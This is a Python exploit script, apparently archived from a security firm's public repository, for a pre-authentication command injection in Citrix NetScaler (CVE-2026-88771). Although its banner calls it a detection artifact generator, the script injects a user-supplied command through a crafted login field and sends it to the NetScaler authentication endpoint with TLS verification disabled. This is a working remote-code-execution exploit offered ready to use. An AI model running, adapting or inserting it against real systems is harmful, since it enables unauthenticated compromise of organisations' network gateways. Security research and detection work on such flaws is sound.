# Archived for authorized security research only.
# Source: https://github.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88771 (no explicit license)
import argparse
import urllib.parse
import requests
import sys

banner = """                     __         ___  ___________
         __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________
         \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
          \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
           \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|
                          \\/          \\/     \\/

        watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py

        (*) Citrix NetScaler PreAuth Command Injection to RCE Detection Artifact Generator

          - Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)

        CVEs: [CVE-2026-88771]
"""

print(banner)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--target", required=True, help="Target URL (e.g., https://xyz.local/)")
    parser.add_argument("--command", required=True, help="Command to inject (e.g., id>/var/tmp/boom)")
    args = parser.parse_args()

    login_payload = f"pitboss PPE unexpectedly died NSPPE;{args.command};# X" ; #Pat & Mat

    encoded_login = urllib.parse.quote(login_payload, safe='') ;

    url = args.target.rstrip('/') + "/nf/auth/doAuthentication.do"

    body = (
        f"login={encoded_login}"
        f"&passwd=x"
        f"&savecredentials=false"
        f"&nsg-x1-logon-button=Log+On"
    );

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0",
        "Connection": "close",
    }

    try:
        response = requests.post(url, data=body, headers=headers, timeout=15, verify=False)
    except Exception as e:
        print(f"[-] Request failed: {e}", file=sys.stderr)
        sys.exit(1)

requests.packages.urllib3.disable_warnings()
main() ; print("[+] command sent, wait for it to get picked up (might take up to 24 hours)")
